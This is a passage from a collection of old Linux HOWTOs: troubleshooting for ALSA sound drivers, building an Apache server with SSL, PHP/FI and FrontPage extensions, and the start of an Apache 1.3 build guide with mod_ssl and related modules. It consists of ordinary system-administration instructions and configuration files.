/dev/snd/pcmC0D0 -> /dev/dsp0 (/dev/dsp) -> minor 3
/dev/snd/pcmC0D1 -> /dev/adsp0 (/dev/adsp) -> minor 12
/dev/snd/pcmC1D0 -> /dev/audio1 -> minor 4+16 = 20
/dev/snd/pcmC1D0 -> /dev/dsp1 -> minor 3+16 = 19
/dev/snd/pcmC1D1 -> /dev/adsp1 -> minor 12+16 = 28
/dev/snd/pcmC2D0 -> /dev/audio2 -> minor 4+32 = 36
/dev/snd/pcmC2D0 -> /dev/dsp2 -> minor 3+32 = 35
/dev/snd/pcmC2D1 -> /dev/adsp2 -> minor 12+32 = 44

You probaly want to use the ``snd-mixer-oss'' module as wel, so you can use the backwards compatible mixer.

6.4 Additional information

The INSTALL file in the ALSA driver directory mentions some tricks to tell the driver which settings to use. If you need these commands it will depend on the application you use to play sound. Regular sound playing applications, like mpg123, sox (mostly called with the ``play'' command), or X11 applications like RealPlayer will probably do fine without these. I never used these anyway.

/proc/asound/#/pcm#0

"Playback erase" - erase all additional informations about OSS applications
"Playback <app_name> <fragments> <fragment_size> [<options>]"
"Record erase" - erase all additional informations about OSS applications
"Record <app_name> <fragments> <fragment_size> [<options>]"

<app_name> - name of application with (highter priority) or without path

<fragments> - number of fragments or zero if auto

<fragment_size> - size of fragment in bytes or zero if auto

<options> - optional parameters

WR_ONLY - if application tries open pcm device with O_RDWR driver rewrites this to O_WRONLY (playback) - good for Quake etc...

Examples:

echo "Playback x11amp 128 16384" > /proc/asound/0/pcm0o
echo "Playback squake 0 0 WR_ONLY" > /proc/asound/0/pcm0o

/proc/asound/#card#/sb16

"Playback 8" -> driver will use always 8-bit DMA channel for playback.
"Playback 16" -> driver will use always 16-bit DMA channel for playback.
"Playback auto" (default) -> driver will use auto mode (first opened direction will use 16-bit DMA channel).
"Record 8" -> driver will use always 8-bit DMA channel for record.
"Record 16" -> driver will use always 16-bit DMA channel for record.
"Record auto" (default) -> driver will use auto mode (first opened direction will use 16-bit DMA channel).

Example: echo "Record 16" > /proc/asound/0/sb16

For further reference, please consult the INSTALL file.


Alsa-sound-mini-HOWTO: Tips and Troubleshooting

 Next Previous Contents

7. Tips and Troubleshooting

Please take a look at the FAQ file in the sound driver directory. This section is still under construction.

7.1 Compiling the driver

Linux kernel sourcetree

If your ALSA drivers do not compile correctly and tell you things about ``version.h'' or other header-files that cannot be found, this can mean that you do not have the kernel header files. Take a look at the kernel-HOWTO, unpack a recent kernel in /usr/src and issue a make config.

Cannot create executables

The utils also contain code written in c++. Most of us have a c++ compiler either from gcc or egcs but make sure you also have the libstdc++-devel package installed, else when you run the configure script for the utils, your system will stump you with an error message saying your ``c++ compiler cannot create executables''.

7.2 Loading the driver

Please check the following items.

Sound devices

ALSA uses special devices in the /dev-tree. Make sure you have run the ./snddevices script in the alsa-drivers source directory.

Sound card compatibility

Are you 100% sure that your sound card IS supported ? Do check it again. Sometimes an X123 is not exactly an X123b and you might be wasting time. On the other hand, even a supported card can give you troubles - it took me two hours to figure out the installation of a CS4237B which was, after all, just a fine example of RTFM.

``Device busy'' or ``unresolved symbols''

You might have a 2.0.x kernel with sound support compiled in, or the OSS/Lite (kernel) sound driver could be loaded (check with cat /proc/modules). Remove the driver or recompile the kernel (have a look at the Kernel-HOWTO).

The sound module in the 2.0 series kernel is called ``sound.o'' and should not be active. (The ALSA driver ``snd.o'' is OK, though).

If you have a 2.2.x series kernel without sound driver compiled in, the ALSA drivers will not work, too.

2.0 kernels

I know it this is confusing, so let me try to explain it one more time. If you have a 2.0.x series kernel (the command ``uname -a'' tells you something like ``Linux penguin 2.0.35 #6 Wed Sep 23 10:19:16 CEST 1998 i686 unknown'') then you need to leave out sound drivers in the kernel. ALSA 0.4.x and later do not work with the 2.0 series kernel

2.2 kernels

If you have a 2.2.x series kernel you do need the sound drivers. A 2.2 series kernel should be compiled with sound support, but without any sound card driver. So you select sound support but make sure that no specific sound card driver will be compiled.

References to other drivers

Another reason why the driver complains that the device is busy could be that the file /etc/conf.modules still has references to the soundcard drivers. You should delete these and leave only the references to the ALSA-driver. (If there are other non-sound-related drivers there, then you can probably leave these as-is).

Unresolved symbols revisited

Another source of ``unresolved symbols'' messages could be a new kernel with older drivers. Please recompile the ALSA drivers after you recompile a new kernel. This will make sure that the drivers match your new kernel.

Check the PnP setup

Are you sure that your card is active? Take another look at the PnP-HOWTO and check if you activated your sound card correctly.

Are your parameters right ?

Check, doublecheck your sound card parameters. Please note: 534 is not 543, nor is 0x534 the same as 534.

Also, some sound cards must be loaded by a different name than might be expected. Take a break, a beer or whatever, and look again at your ``modprobe'' command. For example the Crystal 4232 driver should be inserted by modprobe snd-card-cs4232, not ``snd-cs4231'', and the SoundBlaster PCI 64 should be loaded with ``snd-card-audiopci'', not snd-es1370. (It's all in the docs, and even though I wrote the HOWTO, I once spent an evening trying to persuade snd-cs4231 to make sound).

7.3 Driver loaded... but no (or hardly any) sound

Unmuting

The ALSA drivers can use the ``muting'' facilities that most soundcards have. If you loaded the sound drivers and everything is fine but you get nothing but silence, then you probably forgot to unmute your card. You need ``amixer'' or ``alsamixer'' for this, both from the ALSA-util package. Just typing

amixer set -c 1 Master 70 unmute
amixer set -c 1 PCM 70 unmute
amixer set -c 1 CD 70 unmute
should do for most applications. Please note that for the older amixer command you need to leave out the ``set'' in the command line.

Gain

Most sound cards have a separate mixer part for extra input or output boosting. This entry is most likely called the ``gain'', ``in-gain'' for input and ``out-gain'' for output. Setting this gain to an appropriate level will greatly help you getting the maximum volume out of your speakers (think about your parents/neighbours/ears though). So a command like

amixer set out-gain 100 unmute
will probably help.

OSS/Linux compatibility

If this is the first time you use the ALSA drivers and you used the built-in sound drivers before, you probably want to have backwards compatible sound (i.e. use the /dev/pcmX devices). You need to load the ``OSS compatibility driver'' for this. Do a modprobe snd-pcm1-oss && modprobe snd-mixer-oss. (See the end of the section about loading the driver). Please note: snd-pcm1-oss is not equal to snd-pcm1, you need snd-pcm1-oss for old-fashioned sound support and snd-mixer-oss for (you guessed it) the mixer.

Cannot open mixer

If you have tried to install a couple of different ALSA versions, then sometimes the mixer cannot be opened anymore. This happens if you have tried 0.3.2 and want to downgrade to 0.3.0-pre4 (IIRC). You should delete all libasound files and links from /usr/lib and then recompile libraries and utils:

rm /usr/lib/libasound.*
Just to be safe, remove all ALSA sound drivers afterwards, then recompile and install and reload the drivers.

7.4 General suggestions

Try using ``insmod''

It can always be useful to start with "insmod" instead of kerneld. Maybe you actually see the error on screen.

Read the INSTALL file.

A lot of information can be found in the INSTALL file in the drivers directory. If your driver won't work check if there is additional information available.

Debug messages

As a last resort, you can rebuild the driver and tell it to send debug information to /var/log/messages. Go to the driver-directory with cd /usr/src/alsa-driver-.... and type:

./configure --with-debug=detect; make clean; make

Remove the driver (as far as it is active, see below for a general remove statement). Then use the "modprobe" statement you used before to insert the newly compiled driver. Look in /var/log/messages if there are any messages.

If all else fails...

If these messages doesn't help you, send a message to the ALSA users mailing list, alsa-user@alsa-project.org.

Include the following information:

  • soundcard name + chip names present on your soundcard
  • relevant sections in your isapnp.conf if you have ISA PnP soundcard
  • your conf.modules or line which you activate ALSA driver
  • all messages from /var/log/messages which should be relevant to the ALSA driver

7.5 Bug reports

If you found a bug, the ALSA developers would like to know the following things (at minimum)

  1. driver + kernel version: 'cat /proc/asound/version'
  2. soundcard info
    • soundcard name provided by manufacture
    • list of chips which soundcard have onboard
    • contents of 'cat /proc/asound/cards'
  3. all messages from /var/log/messages which should be relevant to ALSA driver
  4. problem description

7.6 Tip: playing CD's

If you use kmod/kerneld and the ALSA drivers to play CD's, then kmod/kerneld probably do not load the drivers as expected. This is due to the fact that a command line CD player only tells the CD player to start playing without using any of the devices that tell kmod/kerneld that there is sound to occur. Using modprobe may be your only solution to this problem.

7.7 Tip: installing the MIDI serial driver

Normally, the IO port of the serial device is owned by the standard serial device driver. So before you can do ``modprobe snd-serial'' we have to tell the driver to release the serial device.

Here is the procedure.

setserial /dev/ttyS0 uart none
modprobe snd-serial

(Replace /dev/ttyS0 with the appropriate /dev/ttySx device if your MIDI device uses a different serial device).

7.8 Tip: new kernel? New modules!

After you upgrade your kernel, you probably need to recompile the ALSA drivers. If they are still in the original /usr/src directory, then please do not forget to issue a make clean before you do the ./configure, make, make install thing.

Oh, and then there is this anomaly in kernel numbering: a ``2.2.0ac1'' kernel that is ``not a number'' - says the configure script. I think this was resolved in newer scripts, otherwise you should maybe change the kernel version in the source.

7.9 Tip: KDE and ALSA drivers

Suppose you have KDE up and running but you cannot get system sounds to work, like for opening windows, changing desktops, etc. Sound works in general. If your cd player and mp3 player and mixer all do work, then it's probably just "kwmsound" that's lacking.

So: make sure "kwmsound" is in your startscript ($KDEDIR/bin/startkde)

7.10 Tip: use the ALSA devices

If you had sound support in your Linux before, then your applications will probably all point to /dev/pcm0, /dev/audio and /dev/mixer. This is fine, if you use OSS compatibility with the snd-pcm1-oss module. It might be better, however, to use the real ALSA devices, those found in /dev/snd/.

7.11 Tip: removing all modules

Removing 10+ modules one by one is not the way to go. Luckily, all modules start with the "snd-" prefix, so a little command line programming will do. You can easily remove ALSA sound by issuing a command like:

cat /proc/modules|gawk '/^snd-/{print $1}'|xargs -i rmmod {}

Juergen Kahrs wrote: ``I have a script that also removes soundcore and soundlow and sound if present and if they are not in use. This script processes /proc/modules three times so there should not be too many modules left after processing''. His solution is

awk '/^snd/||/^sound/&&($3==0){system("rmmod " $1)}' /proc/modules /proc/modules /proc/modules

Please note: if some module is dependent on another module you cannot just remove the "higher" one. This means that you might need to issue a second removal statement. (I never encountered this situation though, it seems that you can remove the ALSA modules in the order they appear in /proc/modules).


Linux Apache SSL PHP/FI frontpage mini-HOWTO

Marcus Faure, marcus@faure.de

v1.1, July 1998

This document is about building a multipurpose webserver that will support dynamic web content via the PHP/FI scripting language, secure transmission of data based on Netscape's SSL, secure execution of CGI's and M$ Frontpage Server Extensions

1. Introduction

  • 1.1 Description of the components
  • 1.2 Working configurations
  • 1.3 History

2. Component installation

  • 2.1 Preparations
  • 2.2 Adding PHP
  • 2.3 Adding SSL
  • 2.4 Adding frontpage

3. Putting it all together

  • 3.1 Apache modules to try
  • 3.2 Giving CGI's more security
  • 3.3 Compiling and installing the server daemon
  • 3.4 Adding frontpage support to a web
  • 3.5 Starting the daemon
  • 3.6 Some considerations left
  • 3.7 Known bugs
  • 3.8 The final word


Linux Apache SSL PHP/FI frontpage mini-HOWTO: Introduction

 Next Previous Contents

1. Introduction

Before you start reading: I am not a native speaker, so there are probably spelling/grammatical errors in this document. Feel encouraged to inform me of mistakes.

1.1 Description of the components

The webserver you hopefully will get after having read this howto is composed of several parts, the original apache sources with some (well, many) patches and some external executables. I recommend using the software versions I tried, they will probably compile without greater problems and result in a fairly stable daemon. If you are courageous, you can try to compile all the latest-stuff-with-tons-of-new-features, but don't blame me if something fails ;-). However, you may report other working configurations to be included in future versions of this document. All of the steps were tested on a linux 2.0.35 box, so the howto is somewhat linux-specific, but you should be able to use it for other unixes as well.

You do not necesserily have to compile in all components. I tried to structure this howto so that you can skip the parts you are not interested in.

The document is neither a user manual to Apache, SSL, PHP/FI nor frontpage. Its prime intention is to save webservice providers some headaches when installing their server and to do my little contribution to the linux community.

PHP is a scripting language that supports dynamic HTML pages. It is a bit like Apache's SSI, but by far more complex and has database modules for many popular dbs. The GD libraries are needed by PHP.

SSL is an implementation of Netscape's Secure Socket Layer that allow secure connections over insecure networks, e.g. to transmit credit card numbers to web based forms.

frontpage is a wysiwyg web authoring tool that makes use of some server-specific extensions called webbots. Some people think frontpage is cool because you can create feedback forms and discussion webs without having to know a bit about html or cgi. It even protects the designer from uploading his/her site via ftp by using a builtin publisher. If you wish to support frontpage but do not like to setup a windows server, the apache server extensions are your choice.

1.2 Working configurations

Though this document has been downloaded some 100 times since I published it, I received only little feedback. In particular, noone told me of other working combinations. Combinations that work for me are:

  • Linux 2.0.31, Apache 1.2.4, PHP 2.0.0, SSL 0.8.0, fp 98 3.0.3 (*)
  • Linux 2.0.33, Apache 1.2.5, PHP 2.0.1, SSL 0.8.0, fp 98 3.0.3 (*)
  • Linux 2.0.35, Apache 1.2.6, PHP 3, SSL 0.8.0, fp 98 3.0.4
(*) version 3.0.3 is not recommended

1.3 History

v0.0/Apr 98: Preview version

v1.0/Jun 98: Now using Apache 1.2.6, updated fp section, minor corrections

v1.1/Jul 98: Sgmlized and restructered version

You can find the latest version of this document at http://www.faure.de


Linux Apache SSL PHP/FI frontpage mini-HOWTO: Component installation

 Next Previous Contents

2. Component installation

2.1 Preparations

You will need:

  • Apache 1.2.6 http://www.apache.org/dist/apache_1_2_6.tar.gz
  • PHP/FI Extensions http://php.iquest.net/files/download.phtml?/files/php-2.01.tar.gz
  • GD Library http://siva.cshl.org/gd/gd.html
  • SSL 0.8.0 ftp://ftp.ox.ac.uk/pub/crypto/SSL/SSLeay-0.8.0.tar.gz
  • SSL patch for Apache 1.2.6 ftp://ftp.ox.ac.uk/pub/crypto/SSL/apache_1.2.6+ssl_1.17.tar.gz
  • frontpage 98 server extensions and install script http://www.rtr.com/fpsupport/download.htm

Get the sources you want. Untar apche, php, gd and ssl to /usr/src. Untar the SSL patch to /usr/src/apache_1.2.6.

2.2 Adding PHP

cd to /usr/src/gd1.2 and type make. This will build the GD library libgd.a, that should be copied to /usr/lib. Now cd to php-2.0.1 and run ./install.

The relevant questions are:

Would you like to compile PHP/FI as an Apache module? [yN] y
Are you compiling for an Apache 1.1 or later server? [Yn] y
Are you using Apache-Stronghold? [yN] y
Does your Apache server support ELF dynamic loading? [yN] y
Apache include directory (which has httpd.h)? [/usr/local/include/apache] /usr/src/apache_1.2.6/src
Would you like to build an ELF shared library? [yN] y
Additional directories to search for .h files []: /usr/src/gd1.2
Would you like the bundled regex library? [yN] n

Like the frontpage extensions, phtml includes a security problem because it is run under the uid of the webserver. Be sure to turn on safe mode in src/php.h and restrict the search path to a save value. There are some other options in php.h you may want to edit. If you are very concerned about security, compile php as a cgi. However, this will be a performance loss and not as smart as the module version.

Type make to build all files. When the compilation is done, copy mod_php.* and libphp.a to /usr/src/apache_1.2.6/src Add a line

Module php_module mod_php.o
to the end of /usr/src/apache_1.2.6/src/Configuration, add
-lphp -lm -lgdbm -lgd
to the EXTRA_LIBS in the same file,
application/x-httpd-php phtml
to Apache's mime.types and
AddType  application/x-httpd-php .phtml
to Apache's srm.conf.

You may also want to add index.phtml to DirectoryIndex in that file so that a file index.phtml is automatically loaded when its directory is requested.

2.3 Adding SSL

cd /usr/src/SSL-0.8.0; ./Configure linux-elf; make; make rehash This will create libraries needed by apache. You may issue make test to verify the compilation. You have to apply a patch to apache. It is important that you apply it before the frontpage patch, otherwise frontpage will not work. cd to /usr/src/apache_1.2.6/src and issue patch < /usr/src/apache_1.2.6/SSLpatch. Set SSL_BASE=/usr/src/SSLeay-0.8.0 in Configuration. Make sure that Module proxy_module is disabled otherwise Apache won't compile. If you are in need of a proxy, go for Squid http://squid.nlanr.net/

Now make certificate to generate SSLconf/conf/httpsd.pem.

2.4 Adding frontpage

Rename the fp30.linux.tar.Z file to fp30.linux.tar.gz, otherwise the install script will not find it. Run ./fp_install to copy the extension files to /usr/local/frontpage. zcat can usually be invoked as /usr/bin/zcat.

You now have to apply the FP patch. cd to /usr/src/apache_1.2.6/src and type patch < /usr/src/frontpage/version3.0/apache-fp/fp-patch-apache_1.2.5 This will create the mod_frontpage.* files and do some modifications to Configuration etc. The 1.2.5 patch will work with both apache 1.2.5 and 1.2.6. Skip the part about installing webs, you can do that later


Linux Apache SSL PHP/FI frontpage mini-HOWTO: Putting it all together

 Next Previous Contents

3. Putting it all together

3.1 Apache modules to try

The modules I use besides SSL, PHP and frontpage are:

Module env_module          mod_env.o
Module config_log_module   mod_log_config.o
Module mime_module         mod_mime.o
Module negotiation_module  mod_negotiation.o
Module dir_module          mod_dir.o
Module cgi_module          mod_cgi.o
Module asis_module         mod_asis.o
Module imap_module         mod_imap.o
Module action_module       mod_actions.o
Module alias_module        mod_alias.o
Module rewrite_module      mod_rewrite.o
Module access_module       mod_access.o
Module auth_module         mod_auth.o
Module anon_auth_module    mod_auth_anon.o
Module digest_module       mod_digest.o
Module expires_module      mod_expires.o
Module headers_module      mod_headers.o
Module browser_module      mod_browser.o

3.2 Giving CGI's more security

If you are an ISP (you probably are when you read this) you will want to improve security. The suexec utility allows you to do so; it will execute cgi's under the UID of the webowner instead of executing it under the webservers UID. Go to /usr/src/apache_1.2.6/support and make suexec. chmod 4711 suxec and copy it to the location specified in ../src/httpd.h which is /usr/local/etc/httpd/sbin/suexec by default. If the path seems a little cryptic to you - it did to me - edit httpd.h and set the path to a more comfortable value.

3.3 Compiling and installing the server daemon

Enter /usr/src/apache_1.2.6/src and edit Configuration to set all the Modules you want to include in your Apache daemon. When done, run ./Configure and make. This is the last (and most complicated) compilation step, so cross your fingers. If it succeeds, cp httpsd to /usr/sbin. The daemon is somewhat big, consider this when assembling your webserver. Create the directory /var/httpd with subdirectories cgi-bin, conf, htdocs, icons, virt1, virt2 and logs. In /usr/src/apache_1.2.6/conf edit access.conf-dist, mime.types and srm.conf-dist to suit your needs and copy them to var/httpd/conf/access.conf, srm.conf and mime.types. Copy the httpsd.pem you created with make certificate to /var/httpd/conf. Use the following httpd.conf:

ServerType standalone
Port 80
Listen 80
Listen 443
User wwwrun
Group wwwrun
ServerAdmin webmaster@yourhost.com
ServerRoot /var/httpd
ErrorLog logs/error_log
TransferLog logs/access_log
PidFile logs/httpd.pid
ServerName www.yourhost.com
MinSpareServers 3
MaxSpareServers 20
StartServers 3

SSLCACertificatePath /var/httpd/conf
SSLCACertificateFile /var/httpd/conf/httpsd.pem
SSLCertificateFile /var/httpd/conf/httpsd.pem
SSLLogFile /var/httpd/logs/ssl.log

<VirtualHost www.virt1.com>
SSLDisable
ServerAdmin webmaster@virt1.com
DocumentRoot /var/httpd/virt1
ScriptAlias /cgi-bin/ /var/httpd/virt1/cgi-bin/
ServerName www.virt1.com
ErrorLog logs/virt1-error.log
TransferLog logs/virt1-access.log
User virt1admin
Group users
</VirtualHost>

<VirtualHost www.virt1.com:443>
ServerAdmin webmaster@virt1.com
DocumentRoot /var/httpd/virt1
ScriptAlias /cgi-bin/ /var/httpd/virt1/cgi-bin/
ServerName www.virt1.com
ErrorLog logs/virt1-ssl-error.log
TransferLog logs/virt1-ssl-access.log
User virt1admin
Group users
SSLCACertificatePath /var/httpd/conf
SSLCACertificateFile /var/httpd/conf/httpsd.pem
SSLCertificateFile /var/httpd/conf/httpsd.pem
SSLLogFile /var/httpd/logs/virt1-ssl.log
SSLVerifyClient 0
SSLFakeBasicAuth
</VirtualHost>

<VirtualHost www.virt2.com>
SSLDisable
ServerAdmin webmaster@virt2.com
DocumentRoot /var/httpd/virt2
ScriptAlias /cgi-bin/ /var/httpd/virt2/cgi-bin/
ServerName www.virt2.com
ErrorLog logs/virt2-error.log
TransferLog logs/virt2-access.log
</VirtualHost>

Depending on the modules compiled in, not all directives may be available. You can retrieve a list of available directives with httpsd -h.

3.4 Adding frontpage support to a web

Enter /usr/local/frontpage/version3.0/bin and load ./fpsrvadm. Choose install and apache-fp. The next questions should be answered the following way:

Enter server config filename: /var/httpd/conf/httpd.conf
Enter host name for multi-hosting []: www.virt2.com
Starting install, port: www.virt2.com:80, web: ""
Enter user's name []: virt2admin
Enter user's password:
Confirm password:
Creating root web
Recalculate links for root web
Install completed.

The user name must be the unix login of the webowner. The password does not necessarily have to match the system password. You have to manually add sendmailcommand:/usr/sbin/sendmail %r to /usr/local/frontpage/www.virt2.com:80.conf, otherwise your users will not be able to send web-generated eMails. kill -HUP your httpsd to make fp reread its config. You can now access www.virt2.com with your frontpage client.

Under some circumstances fpsrvadm complaints that a root web has to be installed first. This is pretty useless, but you should do so to silence fpsrvadm.

3.5 Starting the daemon

Start Apache with httpsd -f /var/httpd/conf/httpd.conf. You can now access www.virt1.com both through http and https which is pretty cool. Of course you have to pay for a real certificate if you want to offer webwide SSL or users might laugh at you.

Copy one of the demo files from the php examples directory to virt1 to test phtml.

3.6 Some considerations left

Do not use frontpage 97 extensions. They do not work, at least under Linux. When installing specific versions of the c++ libraries, they appear to work but your logs will soon fill with premature end of script headers and your mailbox will fill with complaints. Do not use frontpage 98 extensions before version 3.0.2.1330. Do not be confused, version numbers are somewhat inheterogenous. When telnetting to port 80, typing "get / http/1.0" and hitting return twice, you get a version number 3.0.4 for frontpage.

You can find out the more specific version number by executing /usr/local/frontpage/currentversion/exes/_vti_bin/shtml.exe -version. Older versions have a nasty bug that requires httpd.conf to be writable by the gid of the webserver. This should make you scream if you are at all concerned about security. Versions since 3.0.2.1330 are more usable.

3.7 Known bugs

When touching Recalculate Links in the frontpage client, the server starts a process that consumes 99% cpu cycles and some 10 mb of memory. But even for medium-sized webs and fast machines, the client sometimes recieves a timeout message, though the calculation will be finished correctly. Inform frontpage users to be patient and not to hit Recalculate Links several times. Inform yourself to equip the server with at least 64MB.

Please note that at the time of writing both SSL and frontpage work, but not at the same time, that means you can neither publish your web using ssl nor make use of the webbots through https. You can publish your web on port 80 and access it encrypted on port 443, but your counters etc. will be broken. I consider this a bug. This problem shall be fixed in SSL 0.9.0.

3.8 The final word

For those who think the title of this howto is nearly as long as the document: Did you ever listened to Meat Loaf?

O.K. readers, you're done for today. Feel free to send me your feedback, eternal gratitude, flowers, ecash, cars, oil sources etc.


Apache+DSO+mod_ssl+mod_perl+php+mod_auth_nds+mod_auth_mysql+mod_fastcgi

Ray Van Dolson, rayvd@firetail.org

v0.91, 5 April 2000

Details the installation of an Apache based webserver suite configured to handle DSO, and various useful modules including mod_perl, mod_ssl and php.

1. Legal Stuff

2. Introduction

  • 2.1 Description of the Components
  • 2.2 History

3. Component Installation

  • 3.1 Preparations
  • 3.2 mod_ssl
  • 3.3 Apache
  • 3.4 MySQL
  • 3.5 PHP 3.0.15
  • 3.6 mod_perl
  • 3.7 mod_auth_mysql
  • 3.8 mod_auth_nds
  • 3.9 mod_fastcgi

4. Final Words

  • 4.1 Credits
  • 4.2 Contact Information
  • 4.3 Anything Else


Apache+DSO+mod_ssl+mod_perl+php+mod_auth_nds+mod_auth_mysql+mod_fastcgi: Legal Stuff

 Next Previous Contents

1. Legal Stuff

Apache+mods mini-HOWTO for Linux Systems

Copyright (C)2000 Ray Van Dolson.

This document is free; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

This document is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You can get a copy of the GNU GPL at at http://www.gnu.org/copyleft/gpl.html.


Apache+DSO+mod_ssl+mod_perl+php+mod_auth_nds+mod_auth_mysql+mod_fastcgi: Introduction

 Next Previous Contents

2. Introduction

This document outlines the process used to install Apache & modules onto the web-server at Walla Walla College (www.wwc.edu). While it will be, for the most part, system specific--hopefully it can serve as a useful reference for performing other installations.

This document will attempt to outline the exact process used to install the server. Notes will be made when things should have been gone about differently, but the original steps will be given (assuming they worked).

2.1 Description of the Components

The platform on which the web-server was set up is a Red Hat 6.1 based system. Linux kernel 2.2.14 (compiled from scratch) running on a Dual PIII 600 based system with RAID5 and lots of other goodies.

The web-server software is Apache 1.3.12. The following modules were added to the server:

  • mod_fastcgi SNAP (also mod_rewrite), for use with Zope.
  • Auth-MySQL 2.20
  • mod_ssl 2.6.2 (Open-SSL 0.9.5)
  • mod_perl 1.21
  • PHP 3.0.15
  • mod_auth_nds 0.3a

2.2 History

v0.91 (April 5, 2000)

  • Updated mod_fastcgi to correct version.

v0.9 (April 4, 2000)

  • Completed first draft
  • Spelling/Grammar errors

v0.1 (March 2000)

  • Initial draft


Apache+DSO+mod_ssl+mod_perl+php+mod_auth_nds+mod_auth_mysql+mod_fastcgi: Component Installation

 Next Previous Contents

3. Component Installation

3.1 Preparations

You will need the following software:

  • Apache 1.3.12
  • PHP 3.0.15
    • GD 1.3 (to make use of GIF files)
      • Source
      • RPM
      • RPM-devel
    • GD 1.8.1 (to make use of PNG files)
      • Source
      • RPM
      • RPM-devel
    • IMAP 4.5+
      • Source
      • RPM
    • OpenLDAP 1.2.9+
      • Source
      • RPM
      • RPM-devel
  • mod_perl 1.22+
    • Perl5 Modules Required
    • MIME::Base64
    • URI
    • HTML-Parser
    • Digest-MD5
    • libnet
    • libwww
  • mod_ssl 2.6.2+
    • OpenSSL 0.9.5
      • Source
      • RPM
      • RPM-devel
    • RSAREF 2.0
    • MM 1.0.12
  • MySQL 3.22.32
  • mod_auth_nds 0.4
    • ncpfs 2.2.0.17 Note: the kernel must also be compiled with IPX support.
  • mod_auth_mysql 2.20
  • mod_fastcgi SNAP Oct06

This is the directory layout scheme I use and recommend:

+ /usr/src
|
+-+ apache
  |
  +-+ apache-1.3.12
  |
  +-+ modules
  | |
  | +-+ mod_perl
  | | |
  | | +- mod_perl-1.21
  | | |
  | | +-+ depend
  | |   |
  | |   +- <perl modules here>
  | |
  | +-+ mod_ssl
  | | |
  | | +- mod_ssl-2.6.2-1.3.12
  | | |
  | | +-+ depend
  | |   |
  | |   +- openssl-0.9.5
  | |   |
  | |   +- rsaref-2.0
  | |   |
  | |   +- mm-1.0.12
  | |
  | +-+ mod_fastcgi_SNAP
  | |
  | +-+ php
  | | |
  | | +- php-3.0.15
  | | |
  | | +-+ depend
  | |   |
  | |   +- gd-1.3
  | |   |
  | |   +- imap-4.5
  | |   |
  | |   +- openldap-1.2.9
  | |
  | +-+ mod_auth_nds
  | | |
  | | +- mod_auth_nds-0.4
  | | |
  | | +-+ depend
  | |   |
  | |   +- ncpfs-2.2.0.17
  | |
  | +-+ mod_auth_mysql
  |
  +-+ mysql

Check to see if some of the above modules/software packages are already installed on your system. It usually doesn't hurt, however, to download everything and install it just in case. You might have an older version installed on your system.

3.2 mod_ssl

Installing and Compiling OpenSSL

mod_ssl requires some sort of SSL engine be installed. OpenSSL is the natural choice for the Linux environment. You can either install it via RPM (as I did), or compile it from source. Since I did not compile it from source, you're on your own, although I would think it pretty straightforward. Most likely you'll either install it on the system (into /usr/local or something) or leave it in its directory and simply point whichever applications need OpenSSL to its directory.

RPM will install OpenSSL into system directories.

Installing and Compiling RSAREF 2.0

Create the rsaref-2.0 directory wherever you like. For me this is in /usr/src/apache/modules/mod_ssl-blah/depend/. Change to this directory.

cd rsaref-2.0
cp -rp install/unix local
cd local
make
mv rsaref librsaref.a

These commands should build you the rsaref library! Just leave the stuff here and when you need to link against it, just point the appropriate configure script to this location.

Installing and Compiling MM

Extract mm-1.0.12 (or whichever version is most current) to the depend directory of the mod_ssl-blah subdirectory. Perform the following steps:

cd mm-1.0.12
./configure --disable-shared
make

This should build your mm libraries. As above, reference this path when needed. You're on your own if you want to install this library to the system.

Installing and Compiling mod_ssl (at last!)

The normal procedure with apxs is to compile Apache first, and then, using apxs, compile the modules you want to use and insert them into the server. However, mod_ssl needs to be compiled into the server the normal way before you can use it via apxs. Once mod_ssl is in the server for the first time, you can then upgrade it via apxs without having to completely recompile Apache.

Enter the directory where you are compiling mod_ssl and execute the following configuration directive (here is the file I use) for the initial compile:

#!/bin/sh

./configure \
        --with-apache=/usr/src/apache/apache_1.3.12 \
        --with-ssl \
        --with-rsa=../depend/rsaref-2.0/local \
        --with-mm=../depend/mm-1.0.12 \
        --enable-shared=ssl

You don't need to run 'make' or anything here. When we compile Apache, it will do it all for us.

This configuration line gives two examples of how your system could be set up. In my case, OpenSSL was already installed somewhere in the system (probably in /usr/lib, /usr/include). Therefore, I didn't need to pass it any location parameters. However, rsa and mm were -not- on the system, and I compiled them myself and left them within their source trees (didn't run make install, et al). In that case, you need to point configure to the appropriate directory so it can find the headers/libraries.

From this point on, unless you upgrade Apache (in which case you'd need to perform the above step again for the new version of Apache), you can use apxs to upgrade and recompile mod_ssl. Here is the configure script I use for this:

./configure \
        --with-apxs=/apps/apache-1.3.12/bin/apxs \
        --with-ssl=../depend/openssl-0.9.4 \
        --with-rsa=../depend/rsaref-2.0/local \
        --with-mm=../depend/mm-1.0.12

Or some combination of the above. Then run:

make
make install
make distclean

to complete the installation.

Notes: MM is -not- required to compile mod_ssl. If you're having problems getting it to work, simply omit compiling it and also from the ./configure line(s).

When I compiled mod_ssl, I had errors regarding DBM. To fix this, I had to add -lndbm to the Makefile:

  • Run the above configure script.
  • cd to pkg.sslmod
  • Edit the makefile and add -lndbm to LIBS_SHLIB. It should look like:
  • LIBS_SHLIB=-lm -lcrypt -lndbdm

Hopefully that will save you some grief.

3.3 Apache

Extract apache-1.3.12.tar.gz to /usr/src/apache or wherever. Next we want to compile Apache enabling the following options:

  • mod_ssl (In order to compile mod_ssl as a DSO, it has to be first compiled into the server normally. After doing this, the module can then be upgraded via apxs.)
  • mod_proxy
  • mod_so
  • mod_rewrite (For use with Zope)

Here is the configuration file I used to initially compile Apache:

#!/bin/sh

SSL_BASE=../depend/openssl-0.9.4 \
RSA_BASE=../depend/rsaref-2.0/local \
EAPI_MM=../depend/mm-1.0.12 \
./configure \
        --enable-module=ssl \
        --enable-module=proxy\
        --enable-shared=proxy\
        --enable-module=rewrite \
        --enable-shared=rewrite \
        --prefix=/apps/apache-1.3.12 \
        --enable-shared=ssl \
        --enable-rule=SHARED_CORE \
        --enable-rule=SHARED_CHAIN \
        --enable-module=so

Then run

make
make certificate
make install

Apache should now be compiled and installed into whicever directory you specified with --prefix. Test it out and make sure it starts up.

/path/to/apache/bin/apachectl start

or

/path/to/apache/bin/apachectl startssl

Hopefully it all runs smoothly. If not, trace back over your steps and ensure you didn't forget anything.

3.4 MySQL

